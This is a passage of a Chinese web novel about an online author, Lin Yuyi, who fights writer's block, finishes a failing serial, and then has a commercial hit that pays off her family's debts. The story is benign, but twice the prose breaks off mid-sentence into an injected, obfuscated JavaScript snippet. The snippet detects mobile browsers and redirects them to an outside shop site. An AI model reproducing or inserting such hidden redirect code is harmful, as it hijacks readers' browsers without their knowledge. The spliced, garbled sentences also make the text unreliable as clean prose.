王心宜接着问:“小鸟,你写的什么书呀?我和……我也去买一本看看。” “这……”林羽翼脸上的笑容一下子凝固,脸颊烫烫的,她低头看看那五颜六色的封皮,她可不好意思把这玩意儿给自家姐姐看! 不过最后,羞耻心还是没抵挡住林羽翼一颗急不可耐想要分享的心,她还是把书名告诉王心宜了。 “再过一周……一个月以内,就能在书店看见它了!” “好的好的,我一定第一时间去书店抢购。”王心宜笑。 然而最后,王心宜跑遍了沪城的书店,也没见着林羽翼的书。师涟抽空去逛了几家京城的书店,同样一无所获。 林羽翼自己呢?在蜀都书店也没见着她那花花绿绿的书封。 林羽翼不禁有些气馁和怀疑,这书到底卖去了哪儿?可换个角度想,她忽然又觉得挺浪漫—— 由她一字一字创作出的五千本书,散落在全国各地不知哪个不为人知的角落,不知道最后会去像哪里。是哪个小姑娘的书桌上?还是某个破败租书屋的角落?亦或是某处图书馆的书架?林羽翼想,说不定自己会在某年某一天某个意想不到的时刻,不经意地与它们相见。 虽然没在书店找着自己的书,但版税按时打到了林羽翼账上,一共七千元。 和版税同时到账的,还有林羽翼最新一本连载文的稿酬,这是她的第七本书,订阅费突破了她单本稿费的上限,足足五万多。 三个月,挣了五万多,再加上出版版税和博客那边零碎的收入,足够林羽翼轻轻松松地过很久了。林羽翼算了算账,只要自己能稳定保持现在的收入,说不定再过三四年,不,两三年,就能还完王登高所有的债款,正式步入新的生活! 这么一大笔钱入账,同时给了林羽翼些许喘息的时间,她第一次给自己放了假,没有“无缝开新”,而是稍稍休息两周后,才开始第八本书的筹备。 第七本书赚了五万订阅,那么第八本书,赚个七八万不是问题吧?林羽翼踌躇满志地开文,写着写着,却发现了不对劲儿。 明明从第一本长篇小说到第七本这期间,她一本写得比一本顺溜,可是到了这第八本,她竟然开始卡文。 她笔下的角色忽然变得陌生,她忽然觉得自己揣测不了他们的想法,写不出他们最真实的互动,她笔下的他们,就像是毫无生机的提线木偶。 林羽翼列了写文以来最详细的章纲,写了最丰富的人物小传,一字一字得打磨笔下角色的心理状态和行为动机。 可是没有用。 越往后面写,她落笔时的无力感觉就越深。 读者的眼光是雪亮的,他们或许看不出林羽翼卡文,看不出林羽翼落笔时的纠结于痛苦,但他们看得出一点,这本书不好看。于是,一本四十万字的小说写完,总订阅费才将将一万元,不够上一本的五分之一,离林羽翼预想的七八万更是差了十万八千里。 用作者论坛里的话来说,林羽翼陷入了写作的瓶颈期。 什么是瓶颈期呢?有人说脑袋里一团浆糊就是瓶颈期,又有人说笔下的文字忽然变得一塌糊涂,连新手时期的自己都比不过,就是瓶颈期。众说纷纭的,唯独有一点共识,写不动了,就是瓶颈期。 林羽翼有点写不动了。 那么怎样才能突破瓶颈期呢?论坛里同样众说纷纭。有人说瓶颈期是你的大脑被榨干了,你需要休息,好好休息一两个月,看山看水四处玩乐,休息够了,灵感自然就涌入大脑。又有人说,瓶颈期是因为你吸收新知识吸收得太少啦,你得多看看书,多看看电视电影,多学学人家是怎样创作的,学得多了,自己自然也就写得动了。还有人说,瓶颈期纯粹是因为你太懒,写得太少,你只要保持每天一万字,不管写不写得动都强迫自己写下去,硬着头皮写吧,总有天能够突破瓶颈。 林羽翼选择了后两种方法,继续保持着每天规律地看书、拉片学习、码字的生活,写不动就硬写,她倒是想出去玩,可是这本书的稿费深深刺激着她,她不敢休息太久,她也不敢大手大脚地拿钱出去旅游。 真奇怪,这时的林羽翼自己都没注意到,她以前一无所有时,明明已经很久没因为债款而焦虑了,可现在她有了大笔存款,有了稳定且不低的收入,她却开始焦虑债款,怕自己还不清钱。 就连好几天晚上的梦境,都回到了十七八岁时的夜晚,一个人无助躲在漆黑堂屋里,双手颤抖紧紧握住菜刀,听着门外要债人一声一声踹门的恐怖声响。 其实说白了,林羽翼不是焦虑还不上钱,她只是…… 对自己不自信。 她本身就是个没有太大写作天赋的人,能走到现在全靠天道酬勤,她怕这就是自己的尽头,怕五万元已经是自己的最高峰,怕自己再也写不出更好的作品。 怕又怎么办呢? 只能硬着头皮写吧。 林羽翼马不停蹄地开了第九本书。 这本书和她以前写的所有书都不一样,不再是狗血套路的剧情,而是正儿八经的权谋大剧。朝堂争斗、家国情怀、江湖暗涌,林羽翼框架打得很大,她想学《庆余年》,想学《回明》,想要一书封神。 光是框架和大纲,林羽翼就写了一个半月,文章开头她更是倾尽心血,反复修改,力求写到自己最满意。她想要借着这本书证明自己,想要彻底推翻内心深处的不自信。 然而…… 想象是美好的。 现实呢? 现实给了林羽翼无比沉痛的一击。 事实证明,她就是没写作的天赋。人家的权谋正剧一书封神,火遍全国,卖出百万版权,她的权谋正剧……压根无人问津。 林羽翼以前的订阅费再低,一天也能有二三十元,可是这本书的连载期间,她的订阅费低到了…… 一天一两毛钱。 约等于没有。 林羽翼试过加更,把更新字数从每天六千字抬高到每天九千字,可是效果约等于无,订阅费涨是涨了,涨了整整十倍呢,从一两毛钱涨到了一两元,可是这点儿钱够做什么? 上本书,林羽翼好歹拿到一万多稿费,这一本说不定连千把块都拿不到。而且这一本书的大纲构架比上一本长很多,要写到百万字才能完结。这代表着,连载这本书的三五个月里,林羽翼几乎没有稿费收入。 写到八十万字左右时,林羽翼心态终于彻底崩溃,每天手指一碰上键盘,她胃里就一阵恶心翻涌,绞尽脑汁却一个字也写不出来。打开后台看看前一天的收入,本就凉了半截的心彻底没了温度。 于是,林羽翼断更了。 写作两年多,勤耕不缀整整两年,这是林羽翼第一次辜负追更读者的期望,在中途扔下这本书——虽然这书能有多少读者呢? 能有几个人在看呢? 林羽翼放空大脑,彻底颓废了一个月,每天宅在家里,没日没夜地坐在电脑前打游戏。《仙剑》系列早已出到第四代,工作室解散重组后还开发的最新的《古剑》系列,唔,还有类似的《轩辕剑》系列,剧情同样感人。国内的游戏玩得差不多,林羽翼还玩了几部国外的,《刺客信条》、《模拟人生》,沉浸在游戏的世界里,好像现实里的一切烦恼都离她远去,仿佛做了一场场绚烂的美梦。 可梦总是要醒的。 逃避不能解决任何问题,林羽翼还是得写,还是得写完这本故事。 停更后的第十天,林羽翼收到了第一条读者的追更留言:[作者大大怎么忽然消失了?快回来更新呀!剧情正发展到精彩处呢!] 第十五天,林羽翼收到第三条追更留言:[作者大大呢?作者大大不会是生病了吧!怎么一声不吭就消失了!] 她沉默地盯着那几条留言看了许久,在追书平台里申请了“请假条”,归期一个月。 一个月后,林羽翼放下游戏,回到追书平台,看着后台零零散散二三十条或是催更、或是关心她的留言,她深吸一口气,双手再度敲上键盘。 这本书的读者很少,这本书几乎没赚到几个钱,可是,依旧有那么几个读者在等待着她的更新,在关心着她,关心着她的这本书。 她不能辜负他们的期望。 就算再艰难,她也一定定要把这本书写完。 她已经写了八十多万字,离百万字只差一个结尾。现在是七月中旬,林羽翼给了自己一个期限,八月底,在九月之前,她一定写完这本书。 为了她自己,更为给那些追更的读者一个交代。 在游戏里休息一个月,再次回到现实,林羽翼依旧写不动,依旧双手碰上键盘就恶心想吐,她只能逼着自己,一个字一个字地硬着头皮往下写。 面对电脑敲着键盘难受,那就先拿纸笔一个字一个字地手写,写完再挪到电脑上。揣摩不清书中人物的想法?那就逐字逐句拆分他们过去的经历,他们的人物弧光,一次次在脑海里模拟,直到能写出来为止。 林羽翼从未写得这么慢过,一天连四五千字都写不到,但故事进度总算是慢慢在往后推了。 就这么艰难写到了八月上旬,在某个闷热的傍晚,林羽翼忽然收到一则来自孙阿姨的邀约。 孙阿姨摇着团扇,抹着额头上的汗,说话声都被烤得微哑: “小鸟,入夏以来这天越来越热,我是被热得受不了咯!不吹空调吧,我这身体不如你们年轻人,在外走几步就中暑,吹空调吧,我又被吹得头疼!我是一天也不想在广都呆下去啦。我就想着,去西岭山吧——我朋友在那儿租了套小房子,她人去新疆玩啦,那房子空着可惜,便叫我去山里避避暑,替她照料照料房子。可涟涟暑假不回来,她爸呢,又得留在广都帮我看店,我一个人去山上多无聊啊?只能靠你啦,小鸟,你陪着阿姨进山,咱们一起看山看水,多好玩啊!” 见林羽翼脸上露出为难的神色,孙阿姨立马接着说:“你带上电脑,该工作的时候就工作,阿姨也不影响你,也就去玩个十天!我知道小鸟你是大作家,是我们的骄傲呢!可大作家也得出门采采风不是?怎么能整天闷在家里呢?嗐,阿姨真怕你闷着了。” 话都说到这份上,林羽翼哪儿还能拒绝?孙阿姨平时工作那么忙,听说今年她还在筹备网店呢!从年初到现在,没日没夜地像陀螺一样忙,难得有一段时间闲暇,林羽翼也该去陪陪她。 孙阿姨笑意涟涟地走了,林羽翼回到电脑桌前,艰难地继续写到深夜,等到困意上涌,打着哈欠收拾行李。 她要带的东西不多,几套夏天的衣服,一支笔,一个用来记录灵感、编写大纲的笔记本,再带上一台笔记本电脑——台式机始终台笨重了,毕业没多久,林羽翼就自己组装了一台便携电脑,专门用来码字。 所有行李加起来,都不过一个大背包,林羽翼把背包扔到房间门口,自己便昏沉沉躺到床上,一觉睡死过去。 第二天早晨六点过,天才蒙蒙亮,林羽翼便被孙阿姨打来的电话惊醒。 “小鸟,我们出发啦!阿姨马上把车停到你小区门口。” “好的!阿姨我这就来!”林羽翼一骨碌翻身起床,迅速洗漱干净,嘴里啃个面包,拎起门口的背包便飞奔下楼。 远远看到孙阿姨的车,林羽翼快步冲到跟前,拉开车门。 “带晕车药了吗?”见林羽翼摇头,孙阿姨笑着将早就准备好的晕车贴递给她,“贴在耳朵后。” 林羽翼乖乖将晕车贴往耳朵后一摁,然而从蜀南广都到蜀都西北边的西岭雪山,整整三小时车程,林羽翼还是晕车了。 她小时候坐车晕得还没这么厉害,可这两年或许是出门出得少了吧,几乎一上车就晕。 孙阿姨中途停了好几次车,林羽翼一打开车门便弯下腰呕吐,在树荫下对着青葱的麦田呕吐,在臭水沟前忍着阵阵胃疼,在山间防护栏前泪眼汪汪地望着不远处层层叠叠的山林。 孙阿姨看着她可怜兮兮的样子,苦笑着拍拍她肩膀:“林小鸟,等你有空就去学学车吧,自己开车就不会晕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404349|135210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啦。” “好。”林羽翼喘着粗气,“等我写完这本书,我就去学。” 她要是会开车,一路上也能帮孙阿姨分担分担,免得孙阿姨一人开长途。 午后,终于抵达目的地,林羽翼晕得够呛,孙阿姨开车也累得够呛,两人压根没多余的经历去欣赏大自然的山山水水云雾美景,稍稍收拾收拾房间,草草到隔壁农家乐吃了顿午饭,便各自回房间休息去了。 林羽翼瘫在床上睡了一两小时,胃里阵阵恶心感才彻底消退,她揉揉迷糊的双眼,起身收拾行李。 孙阿姨朋友在山里租的房子很小,房间里只有一张床,床左边是窗户,右边是衣柜,便再没别的东西了。 林羽翼把衣服收进柜子里,把电脑放到床上,自己以衣柜为靠背坐在地上,她想着,自己工作累了,一抬头就能看见窗外的山景,如天青色的水墨画一般,这环境,可比她在广都的出租屋里好得多。 摆好笔记本电脑,林羽翼在背包里摸索一会儿,目光忽的凝滞,随即她翻找的动作越来越快,越来越急。可背包里的衣物都被收拾出来了,她能翻个什么呢?什么都没有! 她忘带笔记本电脑的充电器了! 林羽翼慌乱把背包倒过来用力抖两下,除了几团空空的空气,什么也没抖出来。她猛的起身拉开衣柜,再检查一遍,确定自己真忘了充电器那一瞬间,她只觉得脑袋里“嗡”一声巨响,霎时间五雷轰顶般,整个人都懵了。 没带充电器,意味着她的电脑成了一摊废铁,意味着…… 她没法码字,没法工作了! 林羽翼手机倒是能用,她今年初才换了新的触屏手机,打字速度比按键手机快得多,可她的稿子全存在电脑里的呀! 林羽翼第一反应就是回家拿充电器,她已经起身冲出房门,看着院子里的小轿车,又怔怔停在了原地。 回广都?荒郊野岭深山老林的,她怎么回去?她又不会开车,只能麻烦孙阿姨送她!可是孙阿姨一人开车多累啊?现在孙阿姨还在睡觉呢! 要不……自己下山,想办法赶车回广都? 林羽翼立刻否定了这个想法。 如果她要提前回广都,不管出于什么理由,孙阿姨一定都会坚持送她回去,她能麻烦孙阿姨吗?孙阿姨本就是工作太累,才来山里度假,她这就要回去,未免太不懂事了!可是把孙阿姨一人留在山里也不行,林羽翼看了一圈小屋周围,几百米外才能看见一两户人家,孙阿姨一人住在这里多危险啊? 林羽翼握紧了手指,低着头黯然回到房间,关上门,心里只有一个想法,她得懂事,不能让孙阿姨知道这事儿。 可是她该怎么工作啊!她明明下了决心,也答应了读者,要在月底前完成这本书,在大山里耽搁这么些天,她、她还能写完吗? 林羽翼觉得自己写不完。 她觉得自己做不到。 绝望的情绪一下子将她淹没,林羽翼不知道自己是怎样走到床边坐下的,她瘫坐在床上,目光扫过床边的笔记本电脑,一抬眸往外看,看到窗外近在咫尺般被雾气缭绕的山巅,她的情绪骤然爆发,写这本书以来压抑了大半年的泪水夺眶而出。 怎么就这么戏剧化呢?怎么会忘了充电器呢?怎么会呢? 林羽翼点开手机,本能地想要向师涟倾诉,想要把她这半年里的无助与痛苦尽数倾泻,她的手指在屏幕上摁着,泪水一滴滴往下落,不知是模糊了她的眼睛,还是模糊了屏幕。 林羽翼打了很长一串字,可最后,她把这些字删个精光,只发了一句平淡无比的句子过去: [师涟,我忘带电脑充电线了。] 林羽翼怕打扰到师涟,就像她怕麻烦到孙阿姨一样。 她知道师涟的研究生生活有多忙乱。 她不希望自己也成为师涟忙乱生活的一环。 她竭尽全力压抑着情绪,只给师涟发了这么一句话。 可她低估了师涟对她的了解,同样低估了……师涟对她的关心。 短短十来秒后,手机响起电话的震动音。林羽翼手一抖,差点把手机抛出去,手指却又像是想要抓住最后一根稻草般,颤抖着点开接通键。 “林羽翼。” 电话那头,师涟什么也没说,只是轻轻喊了她的名字。师涟的声音如清冽的泉水般,轻柔地洗刷过林羽翼哭到干涸的心房。 师涟从她短短两句话里,读出了暗藏在其中汹涌澎湃的情绪。读出了林羽翼压在心底大半年终于爆发的苦闷,读出了林羽翼急切想要向外界求救的那颗心。 这时的林羽翼就像一个溺水的人,脑袋已经闷在了水下,只有一只手往外伸着,苦苦支撑,盼望着能有人抓她一把。 师涟抓住了。 “师涟,我……”林羽翼哽了一下,“我答应了读者要在这个月前写完这本书,我答应了,可是我……我写不完了。” “你能写完。”师涟一字一句,满是笃定。 “我不行。”林羽翼抽抽鼻涕,像是蛮不讲理的小孩。 “我有在看你的书,离收尾应该只差几万字了吧?”师涟轻声分析着,“现在离月底还早呢,就算你在山里休息小半月,回到广都后依旧还有十天时间,十天,写完剩下几万字,没问题的。” “只有十天……”林羽翼握紧手指,“我怕我做不到。” 她眼眶依旧湿润,心里澎湃杂乱的情绪已经平复下来,一点点找回理智。 师涟不疾不徐地继续说着:“林羽翼,你可以的,你答应了读者要在这个月前写完。同样你答应过我,会相信自己。那么,请相信自己可以写完。在山里的这些天什么都不要想,不要贷款焦虑,就当做好好休息,好吗?” 相信自己。 林羽翼握紧的手指渐渐松开,依旧挂着眼泪的眼里染上一抹淡淡的笑,似自嘲,又似释然。 不相信又有什么办法呢?事已成定局,充电器又不会自己长脚跑来山里,林羽翼唯一能做的,便是相信自己,平心静气,好好享受难得的山间休憩的时光。 林羽翼在山间住了十天。 山里信号不好,别说拿手机上网看Q丨Q和博客,电话都不一定打得通。偶尔下一场大暴雨,还会停电一两天,家门口原本清澈的小溪,一瞬之间变成湍急洪流。 林羽翼一下子从以前规律忙碌的生活中解脱出来,每天不外乎便是和孙阿姨四处闲逛,看山,看水,看云。 这里是西岭山,就是诗里“窗含西岭千秋雪”的西岭,可惜夏天看不见雪,只看得见连绵无尽的翠绿山林。云朵和雾气悠悠地挂在山间,仿佛伸手就能抓到。 以前读书的时候,天天生活在山下,林羽翼不觉得山间风景有多好,可现在毕业两年,在广都这座小城里生活两年,看窗外破败的钢筋水泥看了两年,再度回到大自然,林羽翼只觉得“贪”。 贪图这里的翠绿的树林,贪图这里淙淙溪水的声音,贪图这里扑面而来的新鲜空气。贪图睡梦中的蝉鸣与鸟叫,贪图清晨傍晚的日出与日落,贪图山间脆嫩的野菜,贪图雨后林间冒出头的蘑菇,贪图这里的一切。 十天假期,于她而言,就像是一场属于心灵的洗礼。 再度回到广都,林羽翼沉淀着情绪,坐回书桌前,抬头看看窗外早已看腻的破败安置公寓的层层楼房,她深吸一口气,目光回到电脑上,集中精力,手指噼里啪啦地敲动键盘。 这一次,她没有再抗拒写作的过程。 八月三十一日,林羽翼敲下文章的最后一个字,她写完了,在承诺的时间之内写完了。 她做到了。 林羽翼并没有着急开新书,而是点开这本书的开头,从第一章开始,一章一章地进行复盘。 她想要弄清楚,自己的问题到底出在哪儿。 54.第7章 这本书为什么会扑街?为什么会赚不到钱? 明明评论区一片好评,一眼望去全是夸夸的评论,有夸林羽翼文笔好的,有夸她文字有深度的,还有夸她思想成熟的,方方面面都有的夸,可为什么就是叫好不叫座呢? 林羽翼一章一章地认真分析,扒着一段段剧情回顾、复盘,最终得出一个结论: 是她太心急了。 她刚开始写网络小说时,口口声声说着“文字不分高低贵贱”、“既要阳春白雪,又要下里巴人”,可真正靠写作赚到了钱,生活压力没那么大了,还拥有了自己的第一本出版文,有了“作家”的名号,她心底的文学梦悄无声息地冒出了头。 她不想继续写那些狗血爽文,她就想写那些带有深意的、严肃的正剧,她不想写网文,她想搞文学。 林羽翼创作出这本大框架权谋文时,心里想的是那些火遍全网的网络巨作,像是《庆余年》,像是《回明》,可她自己都没注意到,她落笔时,脑子里飘过的是《万历十五年》,是《史记》。 她只看到了前两本书里宏大的框架,却忽略了它们作为网络文学的通俗性,忽视了网文里必不可少的几大要素:狗血、套路、爽。这便注定了林羽翼笔下的小说脱离了网文标准,向着更小众、更高深的文学之路一路狂奔。 可问题是,林羽翼狂奔着狂奔着,就奔歪了。 她的笔力不足以支撑起一个宏大的叙事框架,她的文笔不足以描绘出她构想中的朝野更迭、江湖动荡,她的思想深度、她的阅历、她的视野,不足以以深入浅出地传达出作为文学作品所需要的内核。 林羽翼的第九本书,既脱离了成熟网文的道路,又离“文学”二字差了十万八千里,说难听点儿,就是一本用晦涩难懂、故作高深的语言,勾勒出的口水书。 这样的书,能有多少人爱看呢? 竟然还真有那么一点点。 林羽翼一章一章地复盘,花了一个月时间,几乎方方面面地挑着刺儿般把这书否定了一遍,可神奇的是,这本书的订阅量居然悄无声息地涨了起来! 一个月时间,从完结时的一天几块钱,慢慢涨到了一天一百来元! 对林羽翼来说,一天一百多的订阅费并不多,可这本书最低谷时,一天只能挣个几毛钱啊!从几毛钱到一百来块,翻了整整、整整千倍! 这是林羽翼从未预料到的成绩。 这几乎是一个奇迹。 在复盘本的最后一页,林羽翼在复盘本里这么写道: 【不管过程如何,只要认真完成一个完整的故事,它终究能够吸引到属于它的受众。】 在完成这本书的过程中,林羽翼想过放弃,中途也的确摆烂了那么一个多月,可最终她坚持着写完了它,并且从中收获了意料不到的成绩。 写文如此,生活也是如此。林羽翼的存款足够她轻松地生活很长一段时间,再加上博客、微博的收入,她每个月依旧有余力还钱,这两年,王登高和王心宜也会时不时汇钱来,王登高的债款在一点一点减少着,估摸着,再过两三年就能被还清,林羽翼冷静下来后,深知自己无需焦虑。 她所需要的,只是时间。 林羽翼将所剩不多的那点儿自信捡了起来,重振旗鼓,开始第十本书的创作。 第十本书,林羽翼没有再钻文学作品的牛角尖,她放下架子,放下心底所谓的“文学梦”,一头钻回狗血套路爽文市场。 赚钱嘛,不寒碜。 林羽翼想得很清,既然要写狗血,要钻研下沉市场,那她就写最狗血的题材!保证抓人眼球,虐得读者心疼肝疼却又抓心挠肺地想要一路追读到结局。 林羽翼将目光放在今年大热的“追妻火葬场”题材上,这是由台剧《青蛙王子》和《命中注定》带起的题材,“火葬场”的意思并不是说男主为了追到女主,牺牲自己的生命,而是指故事男主前期看不起女主、苛待女主,肆意践踏女主的一颗真心。到了故事后期,女主终于放下对男主的感情,毅然决然离开男主,男主才意识到自己对女主的爱,回过头来重新追求女主。 这个重新追求的过程,则被称之为“火葬场”。 林羽翼很快便构思出故事雏形: 故事的女主角是一个父母双亡的苦命孤儿,女主父母对男主一家有过救命之恩,因此在她父母过世后,男主外婆将她从乡村带进城里生活。 女主因此认识了男主,在日渐相处的过程中,她对男主的感情,悄无声息地从幼时的仰慕,变成了成年后的爱慕,她喜欢上了男主。 可是她深切地知道,她只是一个落魄无依的乡下姑娘,只是因为运气好,借住在男主家里,得以与男主相接触。可是男主是矜贵无比的财阀大少爷,无论是幼时在学校,还是长大后在晚宴,在别的任何场合,她都只能默默地仰望着他的背影,从未奢望过能够和他在一起。 他们只是两个没有任何可能的陌路人。 没曾想,一次新年晚宴酒后的意外,她和男主的关系悄然发生了改变…… 而这种改变,只有男主没有承认,所有人都看了出来。男主的父母将她当成准媳妇儿,对她倍加呵护,男主外婆更是事事照拂着她,不让她在家里受一点儿委屈。唯独男主对她冷眼相看,处处贬低,让她深陷痛苦。 可她依旧心甘情愿地爱着他,愿意为他付出一切,乃至自己的生命。能够与他有不可言明的隐秘关系,于她而言,已经是天大的幸运,近乎恩赐。 大学毕业后,女主放弃了自己的音乐梦想,听从男主的安排,前去他公司实习。在公司里,女主做着自己从未接触过的工作,受尽同事——甚至男主的白眼。男主不但不理解她,不信任她,贬低她的能力,彻彻底底地打击她的自信心。 女主一次次受伤后,在一次车祸后,终于彻底心死,下定决心离开男主,不再做他的附庸,而是去追寻自己的梦想,投身音乐事业,在舞台上发光发亮。 而这时,男主终于意识到自己对女主的爱,悔到痛彻心扉。 他开始放下身段追求女主,然而女主的心里早已没有他。他只能在电视面前卑微蹲守着女主的表演,亦或是和其他粉丝一样买票去演唱会现场,混在人群中遥遥望着女主。 男主以前看不起女主的爱好,觉得因音乐不过是戏子的娱乐罢了。他不不理解女主,也不屑于去理解,在他心里,女主只要随时乖乖跟在他身后,听从他的安排,乖巧温顺地度过一生便好。 而现在,两个人身份调换,一切都返还到了他的身上。他对女主犯下的所有错,所有的不理解,所有的苛刻与白眼,尽数返还到他身上。 他一点点地理解女主,尊重女主,学会怎样去爱,一点点追随着女主的步伐。 与此同时,男主意识到过去的自己有多么不堪,他没有爱人的能力,不懂得平视他人,却享受着女主不求回报的仰慕,他的人格畸形且不健康。 追求女主的同时,男主也在一点点成长着,他逐渐抛下自己的一切不堪,畸形的人格逐渐被补全,他不再傲慢自持,不再总是斜眼俯视着他人,他的人格魅力一天天发光发亮,最终,终于吸引到女主的目光。 在历经千辛万苦后,男主终于和女主重归于好,故事结束。 这是一个非常、非常、非常俗套的故事。 但俗套狗血,代表着情节跌宕起伏、扣人心弦,代表着故事内容通俗易懂,代表着读者受众非常广,上至七八十岁的老奶奶,下至十二三岁的小姑娘,谁不喜欢狗血八卦的爱情故事呢? 林羽翼刚开始动笔时还有点摸不准,心里止不住忐忑,这是她第一次写这么狗血套路的小说,她写得很慢、很费力、很用心,甚至比前一本“大框架文学”还要用心。 再怎么重振旗鼓重拾信心,连续扑街两本书,林羽翼内心再强大,也不可能没有一点儿波澜,她只是强行压住心底的情绪,写得很稳,不急,不躁,不惧。 林羽翼花二十天时间写完了免费章节,第二十一天,这本书上架收费。 当晚,林羽翼强迫着自己没去看订阅数据,她像以往一样,按下发表按钮后,便洗漱干净躺回床上,闭眼,一觉睡到闹铃响。 她没去看后台数据,可睡梦中,依旧梦到了好几遍。 一会儿又梦到这本书和上一本一样,只有几毛钱收入。一会儿却又梦到这本书上了网站金榜,一天能挣好几千!梦中情绪起起伏伏,林羽翼睡得很不安稳。 第二天早晨闹钟响起时,林羽翼几乎是从床上蹦起来,第一时间打开笔记本电脑,点开网站的收入后台。 林羽翼看见收入栏的数字,眼睛微微瞪大,然后轻轻眨了眨,最后她不可置信地闭上眼,揉了揉,再睁开,依旧是刚刚那个数字,她没有看错。 她的第十本书,上架第一天的收入是…… 三百二十七元! 林羽翼的前面九本书里,总订阅超过五万元的那本书,上架第一天订阅费才刚刚过百!而这本书竟然是它的三倍! 也就是说…… 这本书,毫无疑问的爆火了! 和博文广告分成不同,博文往往前两天的分成是最多的,到后面便开始衰减,维持不了多久,林羽翼必须长期稳定地输出不同内容,才能一直从博客里获取收入。 可网络小说呢?上架第一天只是开始!只要林羽翼稳住故事质量,稳定地每日更新,随着故事越来越长,新涌入的读者越来越多,她每天的订阅收入也会越来越多。到完结后,通过读者间口碑发酵,和社交媒体的传播,网络小说还能焕发出第二春,俗称“完结飞”。 三百元,只是微不足道的开始。 …… 2010年,广都的平均月工资是三千元,日平均工资约莫百元。而林羽翼稿酬最高的那一两个月里,她每天的订阅费,是这个数字的十倍。 每天一早醒来,打开电脑后台,看到那一串明明真是无比却又毫不真实的数字,林羽翼只觉得脑海里一阵飘飘然。 是的,林羽翼毫无疑问地飘了,飘到云端。 钱仿佛变成了一串没有意义的数字,每天这么大笔的钱入账,仿佛怎么花都花不完……不,钱怎么会没有意义呢? 为了维持文章热度,为了在连载期间多挣点儿钱,林羽翼开始日万——一天从早到晚什么都不做,除了写书,写到想吐,写到大脑干涸,写到停笔时泪流满面嚎啕大哭,写够整整一万字。只要多写一点,就能多挣一点钱,为什么不写呢? 没有多余的时间做饭,林羽翼顿顿吃着泡面牛奶。 吃饭时,她难得有闲暇地回忆起大学时光,那会儿她是吃不起泡面的。 很多影视文艺作品中都写,穷人吃不起饭,只能顿顿吃泡面。可林羽翼经历过,她知道,真正的穷人哪儿吃得起泡面啊?不放盐的挂面与白粥,才是穷人的三餐。 泡面并不便宜,只是省时间而已。 穷人连盐都吃不起。 对现在的林羽翼来说,时间才是最珍贵的。她的一分一秒值不了千金,但几块钱也是有的。 就这样一直写啊写,一直写到年末,全文完结后,林羽翼才终于从身到心彻底松懈,得以回味省视这段时间自己的工作与生活。 小套间的客厅里乱糟糟堆满了垃圾纸袋,厨房角落乱七八糟摆着各式各样脏兮兮的泡面盒,林羽翼嫌弃自己埋汰的同时,一边收拾,一边又有些心疼:这么一堆盒装泡面,得有多少钱啊? 大几百? 可心疼的情绪只是一闪而过。想想后台的收入数据,林羽翼心里便什么负面情绪都没了,只觉得飘忽忽。 …… 将稿费全部提出来后,林羽翼做的第一件事,是帮王登高还清债款。 是啊,生活就是这么奇妙,几个月前,林羽翼还盘算着,再过两三年就能还清钱,可短短几个月过去,一切就不一样了。 林羽翼依旧在飘。 毕竟,她就连做梦,也从不敢做这样的美梦。 她好像忽然间……在这片广阔天地之上,劈下了属于自己的第一刀。 林羽翼做的第二件事是搬家。 还完债款,林羽翼身上还有小六位数余款,她算了算,如果她要在广 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13419021|135210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都买房,这笔钱足够她付首付,但考虑过后,她还是放弃了买房的想法。 原因无它,林羽翼刚还清债,她不想再背债款了,一分都不想。 和前两年相比,广都的房价涨了一千,林羽翼知道,以后它依旧会涨,会涨得越来越厉害,可她不想现在买。 就当她目光短浅吧,反正,她不愿意贷款。 或者说,她相信在不久后的将来,她有能力全款买下一套属于自己的小房子。 林羽翼选择了租房,就租在师涟家小区。 虽然她现在住的安置房和师涟家只隔了一条街,但环境可以说是天差地别,一个是毫无景观可言的棚户公寓,一个是一步一景的封闭园林小区,租房价格差了三五倍不止。林羽翼倒是一点儿也不心疼,大手一挥便租下一套一楼带院子的大套三,也不管自己一个人住浪不浪费,反正就那么搬了进去。 她压抑了太久,这会儿无债一身轻,拿着大笔的钱,也不管节不节约,就想要消费。 那句话怎么说来着……穷人乍富岂能安! 孙阿姨来劝过她。 “嗨呀,林小鸟,你都搬来这小区了,怎么不来我家住呀!我们给你和涟涟各留了一个房间呀!你还自己租房呢?这么贵的房租,这不是浪费吗?” 林羽翼大咧咧笑着挠头:“有钱了嘛,就想花出去。” 她不仅自己花,还给孙阿姨、给师涟买了金手链,还给王心宜也买了一条,准备着下次见面再给她。 “你这孩子……”孙阿姨感慨地摇摇头,她没有继续劝林羽翼要节约,她知道这孩子以前过得太苦了,现在是久旱逢甘霖,可不得飘一阵子吗? 孙阿姨是看着林羽翼长大的,她同样相信,林羽翼这孩子,是稳得住的。 林羽翼的确稳住了,她始终和那些暴发户不一样,她的钱不是一朝一夕忽然得来的,是她朝朝暮暮拼了命般努力写作挣来的,她会有一时的嘚瑟,但终究守得住。 林羽翼租了房,给亲近的人买了金首饰,便迅速地从云端飘落至地面,恢复了以往平静且规律的生活。 不一样的是,林羽翼养了只猫。 这几年很少去孙阿姨家里做客,难得见到那只叫呆呆的小猫,林羽翼时不时竟然觉得想念。反正现在自己有那条件,干脆便买一只小猫,养在家里。三室二厅的大房子,还附带一个小院,随便猫咪蹦跶。 等到一切安定下来,林羽翼才想起王登高。 债款还清了,她总得和王登高说一说。 